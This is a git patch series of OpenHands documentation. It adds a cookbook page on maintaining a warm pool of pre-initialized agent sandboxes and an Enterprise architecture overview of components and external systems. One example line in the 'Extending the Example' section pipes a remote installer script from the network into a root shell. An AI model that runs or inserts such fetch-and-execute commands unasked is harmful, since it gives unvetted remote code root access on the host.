"cookbook/custom-agent-no-browser", + "cookbook/custom-agent-with-pip-tool", + "cookbook/custom-agent-with-tool", + "cookbook/custom-system-prompt", + "cookbook/disabled-skills" ] }, { "group": "Guardrails", "pages": [ - "cookbook/command-blacklist" + "cookbook/command-blacklist", + "cookbook/command-whitelist", + "cookbook/workspace-isolation" ] } ] From a601415bf31f8af5a18a023b431fb0bb1ce0d442 Mon Sep 17 00:00:00 2001 From: "openhands-release-bot[bot]" <290150379+openhands-release-bot[bot]@users.noreply.github.com> Date: Thu, 8 Oct 2026 08:37:07 -0400 Subject: [PATCH 55/97] docs(cookbook): sync from OpenHands/enterprise-cookbook (#914) Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@dde8013ce89c33e60de1843b054d6f17d7e7818f. Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync. _Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/37777967144))._ Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com> --- cookbook/index.mdx | 4 + cookbook/warm-sandbox-pool.mdx | 473 +++++++++++++++++++++++++++++++++ docs.json | 3 +- 3 files changed, 479 insertions(+), 1 deletion(-) create mode 100644 cookbook/warm-sandbox-pool.mdx diff --git a/cookbook/index.mdx b/cookbook/index.mdx index 905037cd4..7c43013ca 100644 --- a/cookbook/index.mdx +++ b/cookbook/index.mdx @@ -26,6 +26,10 @@ Create, attach to, and tear down sandboxes. Start a sandbox without a conversation and run commands via the agent-server REST API. + + + Keep a pool of pre-initialized sandboxes warm and attach conversations to them on demand. + ## Conversation monitoring & reacting diff --git a/cookbook/warm-sandbox-pool.mdx b/cookbook/warm-sandbox-pool.mdx new file mode 100644 index 000000000..af22d5d15 --- /dev/null +++ b/cookbook/warm-sandbox-pool.mdx @@ -0,0 +1,473 @@ +--- +title: Warm Sandbox Pool +description: Keep a pool of pre-initialized sandboxes warm and attach conversations to them on demand. +icon: fire +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (warm-sandbox-pool/README.md). Edit the source, not this file. */} + + + +Demonstrates maintaining a pool of pre-initialized "warm" sandboxes that late-bind to conversations on demand, taking sandbox startup and initialization out of the end user's wait. + +**This example demonstrates a technique for any situation where expensive setup must finish before an agent can start working**, using OpenHands Cloud APIs. It shows that custom images are not the only viable approach for handling initialization that takes more than a few seconds, and it can also be combined with custom images. + + + When applications have components that run outside the agent control loop and must be available on the system where the agent is running, a custom image is not the only mechanism for packaging these dependencies. + + Although OpenHands Enterprise has robust support for [custom sandbox images](/enterprise/custom-sandbox-images), custom images are not yet supported on OpenHands SaaS. Where they are supported, a custom image may still not fully address the situation: + + - The required setup may change over a shorter period than is practical for rebuilding the image. + - A significant part of the setup may vary so much by task that an image for each variation is impractical. + + Even when using custom images in OpenHands Enterprise, some scenarios require additional tasks to be completed on the running sandbox to make it ready for use. **If these tasks take more than a few seconds, the Warm Sandbox Pool technique removes that delay from what an end-user waits for** by preparing a pool of pre-initialized sandboxes that late-bind to conversations when an end-user begins to interact with the agent. + + This same approach can be used to install and prepare application services in sandboxes via API calls available in OpenHands SaaS, providing a viable alternative to custom images for your deployment needs. + + +## How It Works + +Instead of waiting for sandbox provisioning and initialization every time a user starts a conversation, this approach: + +1. **Maintains a pool** of pre-initialized sandboxes (e.g., 3 sandboxes) +2. **Pre-installs dependencies** (Ruby, gems, application services) during sandbox preparation +3. **Late-binds conversations** - when a user needs a sandbox, one is pulled from the pool with no boot or setup wait +4. **Auto-refills** - when pool drops below threshold, new sandboxes are automatically provisioned and prepared in the background + +This is particularly valuable when: + +- Setup tasks take more than a few seconds (installing Ruby, gems, starting services) +- You want consistent, fast conversation startup times +- You need services running and ready before the agent starts working +- You're using OpenHands SaaS, where custom images are not yet supported + +### Architecture + +```mermaid +flowchart TD + subgraph UI["Web UI"] + PV["Pool Visualization
🟢 Sandbox 1: READY
🟡 Sandbox 2: PREPARING
🔴 Sandbox 3: STARTING"] + CI["Conversation Interface
[Waiting for pool to be ready]
[Then: conversation input box]"] + end + UI --> PC["Pool Controller
(Flask Backend)"] + PC --> S1["Sandbox
(READY)"] + PC --> S2["Sandbox
(READY)"] + PC --> S3["Sandbox
(READY)"] + S1 & S2 & S3 --- N["Each sandbox has Ruby +
Sinatra gem + demo service"] +``` + +## Prerequisites + +- Python 3.10+ +- OpenHands Cloud API key (`OH_API_KEY`) +- `uv` or standard Python environment + +## Run It + +### Installation + +```bash +# Install dependencies +uv pip install -e . + +# Or with pip +pip install -r requirements.txt +``` + + + + ```bash + export OH_API_KEY=your_api_key_here + python pool_controller.py + ``` + + Then open [http://localhost:12000](http://localhost:12000) in your browser. The controller prints a random + **access code** when it starts (look for `ACCESS CODE:` in its output). Paste it into + the page to sign in. Nothing is served without it, and a restart issues a new code. + + + **Heads up: this creates real sandboxes.** The controller immediately starts + `POOL_SIZE` sandboxes (default 3) and keeps topping the pool up as you use them. + Keep the defaults (pool of 3, threshold 2): a smaller pool leaves nothing to watch, + because the refill only starts once ready drops below the threshold. Press Ctrl-C + (or send SIGTERM) to stop: every sandbox still sitting in the pool is deleted. Sandboxes already + attached to a conversation are left running, like any other conversation sandbox. + If the controller is killed with SIGKILL it cannot clean up, so check your sandbox + list afterwards. + + + + + You can run this example inside an OpenHands sandbox (for example, ask an OpenHands + agent to "run the warm-sandbox-pool example") and watch the web UI from your own + browser. OpenHands sandboxes publish app ports as "work" URLs, so the agent starts the + controller on one of those ports, binds it to all interfaces, and gives you the link. + + Steps for the agent (or for you, in a sandbox terminal): + + 1. Check which port the sandbox publishes. The controller's default, 12000, is the + first one: its work URL is `https://work-1--runtime./`. Port 12001 is + `https://work-2--runtime./`. If your environment lists different ports, + set `PORT` to one of them. + + 2. Start the controller with the **default pool settings** (pool of 3, threshold 2; + do not lower them, or there is little to watch), bound to `0.0.0.0` because the + default `127.0.0.1` is not reachable through the work URL: + + ```bash + export OH_API_KEY=your_api_key_here + HOST=0.0.0.0 python pool_controller.py + ``` + + 3. Read the access code from the controller's output (the line starting + `ACCESS CODE:`), then give the user **both** the matching work URL + (`https://work-1--runtime./` for port 12000) and the code. They paste + the code into the page to sign in, then watch the pool fill, claim a sandbox with + Start Conversation, and follow the refill and the activity feed live. + + 4. When the user is done, stop the controller (Ctrl-C or `kill `; SIGTERM also + works). It deletes the unused pool sandboxes. Sandboxes already claimed by + conversations are left running, so delete those too if you do not need them. + + This was verified through a real work URL: sign-in, the page, the live stream, and + starting a conversation all work through the proxy. + + + **Security: what the access code does and does not protect.** A work URL is reachable + by anyone who has it, so the controller gates **everything** (the page, the status + API, the live stream, and Start Conversation) behind a random one-time access code. + Without the code, a visitor sees only the sign-in page. The code is 10 characters + from a 32-character alphabet, is generated fresh on every start, lives only in the + controller's memory, and is checked in constant time. + + What it does not do: whoever has the URL **and** the code can use **Start + Conversation** to run an agent with **any prompt they type**, on **your** account + (your credits, and any secrets your account makes available to conversations). + Sandboxes themselves are never exposed, because session keys stay in the controller. + The rules for a safe demo: + + - Give the code only to the person who should have it. It is printed in the + controller's output, so do not paste that output into public places. + - Run it briefly and stop it when you are done. Do not leave it running. + - Keep the default `POOL_SIZE` of 3. Each claim can trigger a refill, so the total + number of sandboxes grows by one per conversation started. + - This is a demo gate, not a production login: there are no user accounts and no + rate limiting on guesses. For anything longer-lived, put real authentication in + front of it. + + + + +### What to Expect (and what the pool does not speed up) + +The pool removes **sandbox boot plus your init script** from the user's wait. It does +not remove the time OpenHands needs to start the conversation itself. Measured on one +beta instance (your numbers will differ, and the web UI shows yours live): + +| | Time | +| -------------------------------------------------------------------------------- | --------------------------------------------- | +| Sandbox boot + init script, per pool sandbox ("warm-up", paid in the background) | about 10-25s, up to \~40s on a cold apt cache | +| Starting a conversation cold (no `sandbox_id`), before any Ruby install | 12-26s | +| Starting a conversation on a warm sandbox ("attach") | about 10-12s | + +So a cold start costs roughly *conversation start + warm-up*, and a warm start costs +*conversation start*. The more expensive your init script, the bigger the win. For a +cheap init script like this demo's, the saving is modest. + +### What You'll See + +1. **Initial State**: "Preparing pool..." message while the sandboxes initialize + (roughly 10-30 seconds each when the platform has capacity, longer otherwise) +2. **Pool Visualization**: Real-time status of each sandbox: + - 🔴 **STARTING**: OpenHands is provisioning the sandbox + - 🟡 **PREPARING**: Installing Ruby, gems, starting service + - 🟢 **READY**: Fully initialized and available +3. **Conversation UI**: Once pool is ready, type a message to start a conversation +4. **Sandbox Allocation**: A ready sandbox is pulled from the pool and attached to your conversation +5. **Auto-Refill**: Watch as a new sandbox automatically begins initializing to refill the pool + +### Configuration + +Environment variables: + +- `OH_API_KEY`: OpenHands Cloud API key (required) +- `OH_API_BASE`: API base URL (default: `https://app.all-hands.dev`). Set this to + point at a different OpenHands instance. +- `POOL_SIZE`: Target pool size (default: `3`) +- `POOL_THRESHOLD`: Trigger refill when pool drops below this (default: `2`) +- `SANDBOX_SPEC_ID`: Optional sandbox spec (runtime image) to use for pool sandboxes +- `INIT_TIMEOUT`: Seconds the init script may run in a sandbox (default: `300`) +- `MAX_FAILURES`: Stop refilling after this many provisioning failures in a row + (default: `3`). A failed sandbox is deleted immediately, so a broken init script + cannot silently create sandboxes forever. +- `HOST`: Address the web UI binds to (default: `127.0.0.1`). Use `0.0.0.0` to reach + it through an OpenHands sandbox work URL. The UI can start conversations with your + API key, so it is gated by the access code the controller prints at startup; see + the security note above. +- `PORT`: Web server port (default: `12000`, one of the ports an OpenHands sandbox + publishes as a work URL) + +### Testing the Ruby Service + +Once a sandbox is in READY state, the Sinatra service is listening on port 4567 +**inside** the sandbox. That port is not exposed publicly, so reach it from the +sandbox itself. The easiest way is to start a conversation and ask the agent: + +```text +"Call the quote service running on localhost:4567 and show me today's quote" +``` + +## Demo Application: Ruby Sinatra Service + +This example installs a Ruby/Sinatra web service in each sandbox to demonstrate the warm pool technique in a realistic scenario. **The Ruby service is only an example:** any long-running startup job can be installed and running before agent conversations begin, such as cloning a very large monorepo or downloading the Maven dependencies of a Java monorepo with many projects. + +The initialization process (installing Ruby runtime, gems, starting the service) shows how to deploy application services using the same API-driven preparation approach for your specific use case. + +## Implementation Details + +### Sandbox Initialization Process + +The controller uploads `sandbox_prep/init_ruby_service.sh` and +`sandbox_prep/quote_service.rb` to the sandbox's agent-server (`POST /api/file/upload`) +and runs the script (`POST /api/bash/execute_bash_command`). The script does the +following (sandboxes run as a non-root user, so it uses `sudo` for installs): + +1. **Install Ruby**: `apt-get install ruby-full` (Ruby 3.3 on current sandbox images) +2. **Install Sinatra**: `gem install sinatra rackup puma` +3. **Deploy Service**: Copies the uploaded `quote_service.rb` into `/workspace/services` +4. **Start Service**: Launches the Sinatra app in the background on port 4567 +5. **Verify**: Confirms the service responds to health checks + +This simulates a realistic scenario where your agent needs specific tools/services pre-installed. + +### Pool Management + +The `PoolController` class handles: + +- **Provisioning**: Creates sandboxes via OpenHands Cloud API +- **Monitoring**: Polls sandbox status until RUNNING +- **Initialization**: Executes preparation scripts via agent-server API +- **Queue Management**: Thread-safe queue of ready sandboxes +- **Auto-Refill**: Background thread maintains pool size, and stops after + `MAX_FAILURES` consecutive failures +- **Cleanup**: Deletes failed sandboxes immediately and all unused pool sandboxes + on shutdown +- **Conversation Binding**: Attaches conversations to pre-warmed sandboxes + +### Real-Time Updates + +The web UI uses Server-Sent Events (SSE) to stream pool state to the browser every +couple of seconds. Besides the sandbox cards it shows live stats (claims, average +warm-up, average attach time), the sandboxes already claimed by conversations, and an +activity feed of every pool event: created, ready, pulled from the pool, claimed, +failed, deleted, refilling halted. + +## Files + +```text +warm-sandbox-pool/ +├── README.md # This file +├── QUICKSTART.md # Short run-it-now guide +├── pool_controller.py # Flask backend + pool manager +├── requirements.txt # Python dependencies +├── pyproject.toml # Same dependencies, for uv +├── test_structure.py # Sanity check of the example's files +├── sandbox_prep/ +│ ├── init_ruby_service.sh # Bash script to initialize each sandbox +│ └── quote_service.rb # Ruby/Sinatra demo service (uploaded to each sandbox) +├── static/ +│ ├── app.js # Frontend JavaScript +│ └── styles.css # UI styling +└── templates/ + └── index.html # Main web page +``` + +## Use Cases + +### 1. Custom Runtime Environments + +Pre-install language runtimes (Ruby, Java, Go) that take time to set up: + +```bash +# In init script (sandboxes run as a non-root user; use sudo for system installs) +sudo apt-get install -y ruby-full +sudo gem install rails bundler +``` + +### 2. Service Dependencies + +Start databases, caches, or mock APIs before the agent runs: + +```bash +# In init script +docker run -d -p 5432:5432 postgres +redis-server --daemonize yes +./mock-api-server & +``` + +### 3. Large Codebases + +Clone and prepare large repositories with dependencies, such as a very large monorepo or a Java monorepo with heavy Maven dependencies: + +```bash +# In init script +git clone --depth 1 https://github.com/your-org/monorepo /workspace/project +cd /workspace/project +bundle install +npm install +make build +``` + +### 4. Custom Application Integration + +Replace the demo Sinatra service with your actual application initialization: + +```bash +# In init script (replace sandbox_prep/init_ruby_service.sh contents) +# Install Ruby (or use a runtime that already has it) +sudo apt-get install -y ruby-full + +# Install your application gems +sudo gem install your_gem_name + +# Initialize your application +cd /workspace +# ... your app-specific setup commands +bundle install + +# Start your services in daemon mode +rails server -d -p 4567 + +# Wait for service to be ready +until curl -f http://localhost:4567/health; do + echo "Waiting for application..." + sleep 2 +done + +echo "✅ Application ready" +``` + +By pre-warming sandboxes with your application already running, agents can use your services as soon as the conversation starts, without waiting for sandbox boot and initialization (tens of seconds for this demo, more for heavier setups) on every conversation. + +## Benefits vs. Custom Images + +| Approach | Pros | Cons | +| --------------------- | ------------------------------------------------------- | ----------------------------------------------------------------------- | +| **Custom Images** | Fastest cold start, baked-in dependencies | Requires OpenHands Enterprise, image build pipeline, version management | +| **Warm Sandbox Pool** | Works on SaaS, flexible initialization, no image builds | Requires pool management code, higher resource usage | +| **Just-in-Time Init** | Simplest code, minimal resources | Slow user experience, wait time on every conversation | + +**Warm Sandbox Pool is ideal when**: + +- You're on OpenHands SaaS (custom images not yet supported) +- Setup time is 10-60 seconds (too slow for UX, too fast to justify custom image complexity) +- You want flexibility to change initialization without rebuilding images +- You have predictable conversation volume + +## Extending the Example + +### Add More Preparation Steps + +Edit `sandbox_prep/init_ruby_service.sh` to install additional tools: + +```bash +# Install Node.js +curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - +sudo apt-get install -y nodejs + +# Install Python packages +pip install pandas numpy jupyter +``` + +### Customize the Demo Service + +Replace `sandbox_prep/quote_service.rb` with your own Ruby application or gem. + +### Adjust Pool Parameters + +```bash +POOL_SIZE=5 POOL_THRESHOLD=3 INIT_TIMEOUT=600 python pool_controller.py +# Maintain 5 ready sandboxes, refill when below 3, allow 10 minutes for init +``` + +### Add Health Checks + +Extend the initialization to verify services are actually ready: + +```bash +# In init script +until curl -f http://localhost:4567/health; do + echo "Waiting for service..." + sleep 2 +done +``` + +## Troubleshooting + +### Pool Never Reaches Ready State + +Check the controller's terminal output and the init log in the web UI. After +`MAX_FAILURES` failures in a row the controller stops creating sandboxes and the UI +says so. Common issues: + +- Ruby installation timeout (increase `INIT_TIMEOUT`) +- Network issues downloading gems +- Insufficient sandbox resources + +### Sandboxes Get Stuck in PREPARING + +Failed sandboxes are deleted right away, so to debug the init script keep a +sandbox alive and run it by hand. Create one with the `start-sandbox/` example (or +`POST /api/v1/sandboxes`), then read its `session_api_key` and `AGENT_SERVER` URL +from `GET /api/v1/sandboxes?id=`: + +```bash +AGENT=https:// +KEY= + +curl -X POST "$AGENT/api/file/upload?path=/tmp/init.sh" \ + -H "X-Session-API-Key: $KEY" -F file=@sandbox_prep/init_ruby_service.sh +curl -X POST "$AGENT/api/file/upload?path=/tmp/quote_service.rb" \ + -H "X-Session-API-Key: $KEY" -F file=@sandbox_prep/quote_service.rb +curl -X POST "$AGENT/api/bash/execute_bash_command" \ + -H "X-Session-API-Key: $KEY" -H "Content-Type: application/json" \ + -d '{"command": "bash /tmp/init.sh", "timeout": 300}' +``` + +Delete the sandbox when you are done (`DELETE /api/v1/sandboxes/?sandbox_id=`). + +### High Resource Usage + +Reduce `POOL_SIZE` or implement smarter pool management: + +- Scale pool size based on time of day +- Implement idle timeout (destroy sandboxes after 30 min unused) +- Use pool only for peak hours, fall back to JIT otherwise + +## Next Steps + +1. **Production Deployment**: Add error handling, logging, metrics +2. **Persistent Storage**: Save pool state to Redis/database for crash recovery +3. **Multi-Tenant**: Separate pools per user/organization +4. **Dynamic Scaling**: Adjust pool size based on demand +5. **Cost Optimization**: Implement sandbox recycling (reset instead of destroy) + +## Related + + + + Basic sandbox provisioning + + + + Conversation attachment patterns + + + + Pre-loading agent skills + + + +## License + +MIT - See repository root LICENSE file diff --git a/docs.json b/docs.json index 35a035021..b892cc63e 100644 --- a/docs.json +++ b/docs.json @@ -652,7 +652,8 @@ "pages": [ "cookbook/archive-sandbox", "cookbook/clone-and-attach", - "cookbook/start-sandbox" + "cookbook/start-sandbox", + "cookbook/warm-sandbox-pool" ] }, { From 558ac4184c27782fec909574cde904d14d56f58f Mon Sep 17 00:00:00 2001 From: jpelletier1 <44589723+jpelletier1@users.noreply.github.com> Date: Thu, 8 Oct 2026 08:42:28 -0400 Subject: [PATCH 56/97] docs(enterprise): add Architecture overview page (#745) * docs(enterprise): add architecture overview page Adds a new Architecture page under the Enterprise tab that explains: - How OpenHands Enterprise / Cloud works end-to-end, with a Mermaid system diagram - Core components/services (OpenHands server, Keycloak, LiteLLM, Runtime API, sandboxes, object storage, image loader) - Enterprise supporting services and optional platform services (Automation service, Integrations Hub, Plugin Directory, Agent Canvas, device plugin) - Integration adapter flow (webhook -> sandbox -> callback) - Required vs. optional external systems (Kubernetes, LLM provider, Postgres, Redis, Keycloak, object storage, DNS/TLS vs. Git app integrations, Stripe, email, Datadog, Tavily, Laminar, etc.) Registers the page in docs.json under the existing 'OpenHands Enterprise' group in the Enterprise tab. Co-authored-by: openhands * docs(enterprise): remove Stripe architecture references Co-authored-by: openhands * Updates * Remove outdated references * Update enterprise/architecture.mdx Co-authored-by: Engel Nyst --------- Co-authored-by: openhands Co-authored-by: jpelletier1 Co-authored-by: Engel Nyst --- docs.json | 1 + enterprise/architecture.mdx | 228 ++++++++++++++++++++++++++++++++++++ 2 files changed, 229 insertions(+) create mode 100644 enterprise/architecture.mdx diff --git a/docs.json b/docs.json index b892cc63e..5aec7a2dc 100644 --- a/docs.json +++ b/docs.json @@ -535,6 +535,7 @@ "pages": [ "enterprise/index", "enterprise/enterprise-vs-oss", + "enterprise/architecture", "enterprise/sizing-guide", "enterprise/quick-start", { diff --git a/enterprise/architecture.mdx b/enterprise/architecture.mdx new file mode 100644 index 000000000..80db970cc --- /dev/null +++ b/enterprise/architecture.mdx @@ -0,0 +1,228 @@ +--- +title: Architecture +description: How OpenHands Enterprise is put together — components, services, and required vs. optional external systems. +icon: sitemap +--- + +This page explains how the OpenHands Enterprise architecture is put together: the +overall solution, the individual components/services that make it up, and which +external systems are required versus optional. + +There are two install paths for OpenHands Enterprise: + +- **[VM install (Quick Start)](/enterprise/quick-start)**: Single VM deployment with all required services +- **[Install with Helm](/enterprise/k8s-install/index)**: Install the full OpenHands Enterprise solution in a Kubernetes cluster + +## How It Works + +A user's browser talks to the **OpenHands** application (server + frontend), which +coordinates with **Keycloak** for identity, a **LiteLLM proxy** for LLM calls, and the +**Runtime API** for spinning up isolated **sandboxes** where the coding agent actually +runs. Optional services extend this core with scheduled/event-driven automations, +plugins, and richer integrations. + +```mermaid +%%{init: {"theme": "default", "flowchart": {"nodeSpacing": 30, "rankSpacing": 50}} }%% +flowchart TB + Browser["Browser
User"] + Webhooks["Git / chat / ticketing webhooks
GitHub, GitLab, Slack, Jira, ..."] + + subgraph Cluster["Kubernetes Cluster"] + direction TB + Keycloak["Keycloak
Identity / SSO"] + OpenHands["OpenHands
Enterprise Server: UI, API,
conversation orchestration, webhooks
"] + Postgres[("PostgreSQL
App data")] + Redis[("Redis / Valkey
Cache, sessions")] + LiteLLM["LiteLLM Proxy"] + RuntimeAPI["Runtime API
Sandbox pool / lifecycle"] + Runtimes["Runtimes
Agent sandboxes,
one per conversation
"] + ImageLoader["Image Loader
DaemonSet: pre-caches
the agent-server image
"] + Bucket[("Conversation Bucket
S3 / GCS / MinIO")] + + subgraph Optional["Optional services"] + direction LR + Automation["Automation
Service"] + PluginDir["Plugin
Directory"] + end + + Browser --> OpenHands + Browser --> Keycloak + Webhooks --> OpenHands + OpenHands --> Keycloak + OpenHands --> RuntimeAPI + OpenHands --> Redis + OpenHands --> Postgres + OpenHands --> Bucket + OpenHands --> LiteLLM + Keycloak --> Postgres + LiteLLM --> Postgres + RuntimeAPI --> Postgres + RuntimeAPI --> Runtimes + Runtimes -.-> ImageLoader + Runtimes --> OpenHands + OpenHands -.-> Optional + end + + LLMs["AI Language Models
Anthropic, OpenAI, Bedrock, ..."] + GitProviders["Git Providers / IdPs
GitHub, GitLab, Bitbucket,
Azure DevOps, ...
"] + + LiteLLM --> LLMs + Keycloak <--> GitProviders + Runtimes --> GitProviders + + classDef core fill:#e8f3ff,stroke:#2b6cb0,stroke-width:2px + classDef data fill:#fff4df,stroke:#b7791f,stroke-width:2px + classDef optional fill:#f3e8ff,stroke:#7c3aed,stroke-width:2px + classDef external fill:#f5f5f5,stroke:#666,stroke-width:1px + + class OpenHands,Keycloak,LiteLLM,RuntimeAPI,Runtimes,ImageLoader core + class Postgres,Redis,Bucket data + class Automation,PluginDir optional + class Browser,Webhooks,LLMs,GitProviders external +``` + +The core loop is: + +1. A user (or a webhook from GitHub, GitLab, Slack, Jira) creates or resumes + a **conversation**. +2. The OpenHands app authenticates the request (via Keycloak-issued cookies/tokens) and + asks the **Runtime API** for a sandbox. +3. Runtime API assigns a **warm** (pre-started) or freshly created **Runtime** pod — an + isolated sandbox running the agent server. +4. The agent in the sandbox calls out through the **LiteLLM proxy** to the configured LLM + provider, executes tools (bash, file edits, browser, git), and streams events back to + the app and browser. +5. The agent can push commits, open PRs/MRs, and comment back on the originating + issue/PR/message through the relevant **Git provider** or **chat/ticketing + integration**. +6. Conversation state and artifacts are persisted to PostgreSQL, Redis (cache/sessions), + and an object store (S3/GCS/MinIO — the "conversation bucket"). + +## Components And Services + +### Core Components + +These are present in every deployment. + +| Component | What It Does | +|---|---| +| **OpenHands (Enterprise Server)** | The main app: web UI, REST/V1 API, conversation orchestration, Git-provider webhook receivers/resolvers, billing routes, and org/user management. | +| **Keycloak** | Identity provider and SSO broker. Terminates OAuth/OIDC flows with GitHub, GitLab, Bitbucket, Bitbucket Data Center, Azure DevOps (or another IdP), issues tokens, and stores brokered provider tokens. OpenHands wraps Keycloak's tokens in a signed session cookie. | +| **PostgreSQL** | Primary relational store for the app, Keycloak, LiteLLM, and Runtime API — one shared instance or split per service. | +| **Redis (or Valkey)** | Caching, rate limiting, and short-lived session data. | +| **LiteLLM Proxy** | Normalizes calls to many LLM providers (Anthropic, OpenAI, Azure, Bedrock, and more) behind one API, and centralizes per-team API key and usage management. | +| **Runtime API** | Manages the pool of sandbox ("Runtime") pods: maintains **warm runtimes** that are ready to be claimed instantly, creates new ones on demand, and tears them down. | +| **Runtimes (agent sandboxes)** | Isolated execution environments — one pod per active conversation — where the OpenHands agent runs. Has its own filesystem, can run shell commands, edit files, browse the web, and call back out to Git providers. | +| **Image Loader** | A DaemonSet that pre-pulls and caches the agent-server (sandbox) image on every node in the runtime cluster, so new sandboxes start quickly. | +| **Conversation bucket (object storage)** | Durable storage for conversation transcripts and session files: any S3-compatible store (AWS S3, MinIO, Cloudflare R2) or GCS. | + +### Enterprise Supporting Services + +| Component | What It Does | +|---|---| +| **Auth / Token Manager** | Manages OAuth exchanges and refresh of Git-provider tokens brokered through Keycloak, and issues the signed session cookie used for subsequent requests. | +| **Maintenance task processor** | Scheduled jobs for cleanup, budget resets, proactive conversation cleanup, GitLab webhook installation, and contact sync. | +| **Sharing service** | Public, shareable conversation and event links. | +| **Verified models registry** | Org-level curation of which LLMs and models are allowed. | +| **Telemetry / license enforcement** | Periodic usage metrics used for license compliance in self-hosted OHE deployments. | + +### Optional Platform Services + +These ship as independently toggled services alongside the core deployment: + +| Service | Purpose | +|---|---| +| **Automation service** | Runs scheduled ("cron") or event-driven ("webhook") agent jobs — for example, posting a daily report to Slack, or reviewing every pull request labeled `openhands`. Has its own API, database, and object storage for uploaded automation packages. Automation runs execute inside a Runtime sandbox, the same as interactive conversations. See [Automations](/openhands/usage/automations/overview). | +| **Plugin Directory** | A marketplace UI and API for discovering, browsing, and reviewing agent plugins — bundles of skills, commands, and MCP configuration that can be loaded into a conversation. See [Plugin Marketplace](/enterprise/plugin-marketplace). | +| **Device plugin** | A Kubernetes DaemonSet that exposes host devices (such as `/dev/fuse` and `/dev/kvm`) to sandbox pods as schedulable resources, without running sandboxes privileged. Only relevant when sandboxes run in the same cluster as the rest of the stack. | + +### Integration Adapters + +Each Git, chat, or ticketing integration (GitHub, GitLab, Bitbucket, Bitbucket Data +Center, Azure DevOps, Jira, Jira Data Center, Slack) follows the same pattern: an +**integration router** receives an HMAC-signed webhook, an **integration manager** +resolves the org/user and applies filters, a conversation is started in a sandbox, and a +**callback processor** posts the result back to the external service once the agent +finishes. + +```mermaid +flowchart LR + Ext["External Service
GitHub, GitLab, Slack, Jira..."] + Router["Integration Router
Verifies webhook signature"] + Manager["Integration Manager
Resolves org/user, applies filters"] + Runtime["Runtime API → Sandbox
Agent runs the task"] + Callback["Callback Processor"] + + Ext -- "webhook" --> Router --> Manager --> Runtime + Runtime -- "result" --> Callback -- "comment / PR / MR / message" --> Ext +``` + +Each adapter is independently enabled, and only wires up its webhook router if the +corresponding OAuth app credentials are configured. See the +[Azure DevOps](/enterprise/integrations/azure-devops), +[Bitbucket Data Center](/enterprise/integrations/bitbucket-data-center), +[Jira Data Center](/enterprise/integrations/jira-data-center), and +[Slack](/enterprise/integrations/slack) integration guides. + +## Required Vs. Optional External Systems + +### Required For Any Deployment + +| System | Why It's Required | Notes | +|---|---|---| +| **Kubernetes cluster** | Every component runs as a pod, Deployment, CronJob, or DaemonSet. | A Kubernetes version [supported by Sysbox](/enterprise/k8s-install/sysbox) for the sandbox nodes; Traefik is the recommended ingress controller | +| **At least one LLM provider** | The agent needs a model to reason and act. Anthropic, OpenAI, Azure OpenAI, AWS Bedrock, Google, or any LiteLLM-supported provider will work. | Configured as a secret consumed by the bundled LiteLLM proxy, or point at your own LiteLLM instance — see [External LLM Gateways](/enterprise/integrations/external-llm-gateways) | +| **PostgreSQL** | System of record for the app, Keycloak, LiteLLM, and Runtime API. PostgreSQL 16.4+ is required. | Bundled, or bring your own — see [External PostgreSQL](/enterprise/external-postgres) | +| **Redis or Valkey** | Caching, rate limiting, and short-lived session data. | Bundled, or bring your own | +| **Keycloak** | Identity and session management; brokers all sign-in flows. | Bundled; requires its own PostgreSQL database | +| **Object storage (S3-compatible or GCS)** | Durable storage for conversation transcripts and artifacts, and — if automations are enabled — uploaded automation packages. | Bundled MinIO for proof-of-concept deployments, or bring your own S3/GCS/R2 for production | +| **At least one identity provider (IdP) / Git provider for login** | Users authenticate through Keycloak using OAuth; you must enable and configure at least one of GitHub, GitLab, Bitbucket, Bitbucket Data Center, or Azure DevOps (or another Keycloak-supported IdP). | See [Quick Start](/enterprise/quick-start) for GitHub App setup, and the integration guides for other providers | +| **DNS and TLS** | The app, Keycloak, Runtime API, and LiteLLM each need a routable hostname, and a wildcard record is needed for per-sandbox runtime hostnames. | See [DNS and TLS](/enterprise/k8s-install/dns-and-tls) | + +### Optional, Feature-Gated + +| System | Unlocks | Related Docs | +|---|---|---| +| **GitHub App** (webhooks) | Trigger agent runs from issues, PR comments, or mentions; the agent can open PRs, push commits, and comment. Can also be used purely as a login IdP without webhooks. | [Quick Start](/enterprise/quick-start) | +| **GitLab App** | The same capabilities, for GitLab (cloud or self-hosted). | — | +| **Bitbucket (Cloud) OAuth consumer** | Login and webhook-triggered runs for Bitbucket Cloud repositories. | — | +| **Bitbucket Data Center** | The same, for self-hosted Bitbucket via an OAuth2 Application Link. | [Bitbucket Data Center](/enterprise/integrations/bitbucket-data-center) | +| **Azure DevOps** | Login and integration for Azure Repos and Azure Boards. | [Azure DevOps](/enterprise/integrations/azure-devops) | +| **Slack** | Mention-triggered conversations, with results posted back to a channel or thread. | [Slack](/enterprise/integrations/slack) | +| **Jira / Jira Data Center** | Ticket-triggered conversations, with status and comment updates. | [Jira Data Center](/enterprise/integrations/jira-data-center) | +| **Resend or SMTP** | Transactional email for organization invitations and budget alerts. | — | +| **Tavily** | Web search tool for agents. | — | +| **Automation service dependencies** | The Automation service needs its own PostgreSQL database and its own durable object store (S3-compatible or GCS) for uploaded automation packages. | [Automations](/openhands/usage/automations/overview) | +| **Plugin marketplace source** | A Git repository hosting a plugin catalog, if using the Plugin Directory. | [Plugin Marketplace](/enterprise/plugin-marketplace) | +| **Laminar** | Trace-level observability for conversations. | [Analytics](/enterprise/analytics) | +| **cert-manager** | Automated TLS certificate issuance for the app, Keycloak, LiteLLM, and runtime hosts. | [DNS and TLS](/enterprise/k8s-install/dns-and-tls) | + +## Deployment Topology Notes + +- Sandboxes ("Runtimes") can run in the **same** Kubernetes cluster as the rest of the + stack, or in a **separate** cluster reachable by the Runtime API — useful for isolating + untrusted agent workloads from the control plane, or for scaling sandbox capacity + independently. +- A **warm runtime pool** is maintained so new conversations can claim an already-running + sandbox instead of waiting for a cold pod to schedule. +- Production deployments should use managed PostgreSQL (for example, RDS or Cloud SQL) + instead of an in-cluster database, and real S3 or GCS instead of bundled MinIO. See the + [Sizing Guide](/enterprise/sizing-guide) for capacity planning based on peak concurrent + sandboxes. + +## 